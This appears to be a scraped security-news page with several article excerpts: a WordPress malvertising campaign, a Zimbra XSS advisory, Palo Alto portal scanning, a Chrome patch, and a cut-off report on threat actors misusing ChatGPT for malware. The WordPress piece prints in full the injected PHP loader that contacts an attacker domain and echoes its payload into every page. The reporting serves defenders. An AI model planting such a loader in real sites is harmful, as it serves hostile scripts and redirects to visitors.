In a groundbreaking disclosure, CloudSEK’s TRIAD unit has unearthed internal operational materials that shed light on Charming Kitten (APT35), revealing an intricate espionage apparatus linked to Iran’s Islamic Revolutionary Guard Corps (IRGC). The leak comprises over 100 Persian-language files marked with Jalali calendar dates and aligned with Tehran time, underscoring its authenticity. At the apex, […]
In a sophisticated evolution of email-based attacks, adversaries have begun leveraging Cascading Style Sheets (CSS) to inject hidden “salt” — irrelevant content used to confuse detection systems — deep within HTML emails. Cisco Talos’s year-long monitoring (March 1, 2024 – July 31, 2025) reveals a marked increase in the abuse of CSS properties to conceal […]
WordPress websites have become a prime target for threat actors seeking to monetize traffic and compromise visitor security.
In recent months, a new malvertising campaign has emerged, leveraging silent PHP code injections within theme files to serve unwanted third-party scripts.
The attack blends seamlessly with legitimate site operations, delivering obfuscated JavaScript that redirects visitors, displays pop-ups, and evades security tools without raising suspicion.
Initially discovered by a site owner noticing unexplained script loads, the intrusion originated from a small block of PHP code appended to the active theme’s functions.php file.
This injection did not alter visible page content, instead executing behind the scenes on every request.
Sucuri analysts identified the campaign after detecting anomalous JavaScript calls to attacker-controlled domains and blocklisting by multiple security vendors.
The attack primarily exploits weak file permissions and outdated themes. By gaining write access—often through compromised credentials or vulnerable plugins—hackers insert a seemingly benign function that contacts a command-and-control server.
Once invoked via the wp_head hook, the function fetches a dynamic JavaScript payload and echoes it into the page’s <head> section, ensuring execution before the rest of the page loads.
Sucuri researchers noted that the injected function establishes a POST connection to a remote endpoint at hxxps://brazilc[.]com/ads.php, retrieves the malicious script, and embeds it directly into the HTML document.
The payload performs two main actions: loading a traffic-distribution script from porsasystem.com/6m9x.js and injecting a hidden 1×1 pixel iframe that mimics Cloudflare’s challenge platform.
These techniques enable forced redirects, pop-ups, and evasion of security scanners by disguising malicious activity as legitimate CDN operations.
Infection Mechanism
The infection mechanism hinges on the following PHP function injected into functions.php:-
// Injected PHP function in functions.php
function ti_custom_javascript() {
$response = wp_remote_post(
'https://brazilc.com/ads.php',
array('timeout' => 15, 'body' => array('url' => home_url()))
);
if (!is_wp_error($response)) {
echo wp_remote_retrieve_body($response);
}
}
add_action('wp_head', 'ti_custom_javascript');
Upon each page load, this function silently executes, contacting the C&C server and printing the returned JavaScript payload into the page header.
Payload (Source – Sucuri)
The attacker’s script then loads further malicious code asynchronously, leveraging attributes like data-cfasync='false' and async to bypass Cloudflare Rocket Loader.
By embedding within a hidden iframe, the malware evades detection and resides persistently until the injected code is removed.
Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.
Cybersecurity researchers at GreyNoise have identified a dramatic escalation in malicious scanning activities targeting Palo Alto Networks PAN-OS GlobalProtect login portals, with attacks originating from over 2,200 unique IP addresses as of October 7, 2025. This represents a significant increase from the approximately 1,300 IPs initially observed on October 3, demonstrating the rapidly evolving nature […]
In 2025, account takeover (ATO) attacks remain one of the most critical cybersecurity risks facing businesses, especially in industries like e-commerce, banking, SaaS, and healthcare. Hackers continuously launch credential stuffing, phishing, and brute-force attacks, targeting user information to steal funds, gain unauthorized access, or cause reputational damage. Organizations cannot afford to overlook the importance of […]
CISA has issued a critical warning regarding a zero-day cross-site scripting (XSS) vulnerability in Synacor’s Zimbra Collaboration Suite (ZCS), designated as CVE-2025-27915.
This vulnerability has been actively exploited in attacks and poses significant risks to organizations using the popular email and collaboration platform.
Zimbra Collaboration Suite (ZCS) XSS Flaw
The vulnerability exists within the Classic Web Client component of Zimbra Collaboration Suite and stems from insufficient sanitization of HTML content in ICS (Internet Calendar System) files.
The security flaw is classified under CWE-79, which specifically addresses improper neutralization of input during web page generation.
When users view email messages containing malicious ICS entries, embedded JavaScript code executes automatically through an ontoggle event handler within a <details> tag.
This exploitation vector allows attackers to run arbitrary JavaScript code within the victim’s authenticated session context.
The attack mechanism bypasses standard security controls by leveraging legitimate calendar file functionality to deliver malicious payloads.
The vulnerability’s exploitation requires minimal user interaction – simply viewing a specially crafted email message triggers the malicious code execution.
This low barrier to exploitation makes it particularly dangerous for widespread attacks targeting multiple organizations simultaneously.
Risk Factors
Details
Affected Products
Zimbra Collaboration Suite (ZCS) 10.1.9ZCS 10.0.15ZCS 9.0.0 Patch 46
Impact
Cross-site scripting
Exploit Prerequisites
Victim must view a crafted email containing a malicious ICS calendar entry in the Classic Web Client; user interaction required; attacker needs a valid account or email delivery capability
CVSS 3.1 Score
5.4 (Medium)
Mitigations
The successful exploitation of CVE-2025-27915 enables attackers to perform unauthorized actions within compromised user accounts, including the creation of malicious email filters that redirect incoming messages to attacker-controlled addresses.
This capability facilitates comprehensive data exfiltration and ongoing surveillance of victim communications.
CISA has designated October 28, 2025, as the mandatory remediation deadline for federal agencies under Binding Operational Directive (BOD) 22-01.
Organizations must apply vendor-provided mitigations, implement applicable cloud service guidance, or discontinue product usage if effective mitigations remain unavailable.
The agency emphasizes that this vulnerability’s active exploitation status requires immediate attention from all Zimbra Collaboration Suite administrators.
Security teams should monitor the official Zimbra Security Center and National Vulnerability Database for updated mitigation guidance and patches.
Organizations should also implement additional email securitycontrols, including enhanced attachment scanning and user awareness training focused on suspicious calendar invitations and ICS file attachments.
Cyber Awareness Month Offer: Upskill With 100+ Premium Cybersecurity Courses From EHA's Diamond Membership: Join Today
A massive escalation in attacks targeting Palo Alto Networks PAN-OS GlobalProtect login portals, with over 2,200 unique IP addresses conducting reconnaissance operations as of October 7, 2025.
This represents a significant surge from the initial 1,300 IPs observed just days earlier, marking the highest scanning activity recorded in the past 90 days according to GreyNoise Intelligence monitoring.
The reconnaissance campaign began with a sharp 500% increase in scanning activity on October 3, 2025, when researchers observed approximately 1,300 unique IP addresses probing Palo Alto login portals.
This initial surge already represented the largest burst of scanning activity in three months, with daily volumes previously rarely exceeding 200 IPs during the preceding 90-day period.
2,200 IPs Scan Palo Portals
Palo Alto PAN-OSGlobalProtect Login Portals Surge
The escalating attack campaign demonstrates sophisticated coordination across geographically distributed infrastructure.
GreyNoise analysis reveals that 91% of the malicious IP addresses are geolocated to the United States, with additional clusters concentrated in the United Kingdom, the Netherlands, Canada, and Russia.
Security researchers have identified approximately 12% of all ASN11878 subnets allocated to scanning Palo login portals, indicating significant infrastructure commitment to this operation.
The attack methodology suggests threat actors are systematically iterating through large credential databases, with login attempt patterns indicating automated brute-force operations against GlobalProtect SSL VPN portals.
Pace of Palo Alto unique login attempts
GreyNoise has published a comprehensive dataset containing unique usernames and passwords from Palo login attempts observed during the past week, enabling security teams to assess potential credential exposure.
Technical analysis reveals that 93% of participating IP addresses were classified as suspicious, while 7% received malicious designations.
1,285 Unique IPs probing Palo Alto login portals
The scanning activity exhibits distinct regional clustering patterns with separate TCP fingerprints, suggesting multiple coordinated threat groups operating simultaneously.
Security researchers have identified potential correlations between the Palo Alto scanning surge and concurrent reconnaissance operations targeting Cisco ASA devices.
Both attack campaigns share dominant TCP fingerprints linked to infrastructure in the Netherlands, along with similar regional clustering behaviors and tooling characteristics.
The cross-technology targeting suggests a broader reconnaissance campaign against enterprise remote access solutions.
Concurrent surges observed across multiple remote access service platforms, though the exact relationship between these activities remains under investigation.
The targeted nature of these attacks is evident from their focus on GreyNoise’s emulated Palo Alto profiles, including GlobalProtect and PAN-OS systems.
This precision indicates attackers likely derived target lists from public reconnaissance platforms such as Shodan or Censys, or conducted their own fingerprinting operations to identify vulnerable Palo Alto devices.
Security teams should implement immediate defensive measures, including IP blocklisting of known malicious addresses, enhanced monitoring of GlobalProtect portal authentication logs, and implementation of additional access controls for remote VPN connections.
Cyber Awareness Month Offer: Upskill With 100+ Premium Cybersecurity Courses From EHA's Diamond Membership: Join Today
Brand protection has become a necessity for enterprises in 2025, with increasing risks of counterfeiting, phishing, domain abuse, fake social media accounts, and digital piracy. Businesses today must not only defend their intellectual property but also safeguard their digital presence to maintain customer trust and security. This article presents the top 10 best brand protection […]
Google has released Chrome version 141.0.7390.65/.66 for Windows and Mac, along with 141.0.7390.65 for Linux, addressing multiple critical security vulnerabilities that could allow attackers to execute arbitrary code on affected systems.
The update, announced on October 7, 2025, includes three significant security fixes that pose serious risks to users worldwide.
Heap Buffer Overflow and Memory Corruption Flaws
The most severe vulnerability in this release is CVE-2025-11458, a heap buffer overflow in Chrome’s Sync component that has been assigned a High severity rating.
Discovered by security researcher Raven at KunLun lab on September 5, 2025, this flaw earned a $5,000 bounty reward from Google’s Vulnerability Reward Program.
Heap buffer overflows occur when a program writes data beyond the allocated memory buffer boundaries, potentially allowing attackers to corrupt adjacent memory regions and execute arbitrary code.
The second critical vulnerability, CVE-2025-11460, represents a Use-After-Free condition in Chrome’s Storage component.
Reported by researcher Sombra on September 23, 2025, this High-severity flaw occurs when the browser attempts to access memory that has already been freed, creating opportunities for attackers to manipulate memory allocation and achieve code execution.
Use-after-free vulnerabilities are particularly dangerous as they can lead to complete system compromise when successfully exploited.
Additionally, CVE-2025-11211 addresses an out-of-bounds read vulnerability in WebCodecs, reported by Jakob Košir on August 29, 2025.
This Medium-severity flaw, which earned a $3,000 reward, allows attackers to read memory outside allocated boundaries, potentially exposing sensitive information or facilitating further exploitation chains.
CVE
Title
Severity
CVE-2025-11458
Heap buffer overflow in Sync
High
CVE-2025-11460
Use after free in Storage
High
CVE-2025-11211
Out of bounds read in WebCodecs
Medium
Mitigations
Google’s security team employed multiple advanced detection methodologies to identify these vulnerabilities, including AddressSanitizer, MemorySanitizer, UndefinedBehaviorSanitizer, Control Flow Integrity, libFuzzer, and AFL fuzzing techniques.
These automated security testing tools continuously analyze Chrome’s codebase for memory corruption issues, race conditions, and other security-critical bugs before they reach production environments.
The Chrome development team has implemented comprehensive mitigations within the browser’s architecture, including sandboxing mechanisms that isolate rendering processes and limit the potential impact of successful exploits.
However, users must install the security update promptly, as Google restricts access to detailed vulnerability information until the majority of users have updated their browsers to prevent widespread exploitation of these critical flaws.
Cyber Awareness Month Offer: Upskill With 100+ Premium Cybersecurity Courses From EHA's Diamond Membership: Join Today
OpenAI on Tuesday said it disrupted three activity clusters for misusing its ChatGPT artificial intelligence (AI) tool to facilitate malware development.
This includes a Russian‑language threat actor, who is said to have used the chatbot to help develop and refine a remote access trojan (RAT), a credential stealer with an aim to evade detection. The operator also used several ChatGPT accounts to
.webp)
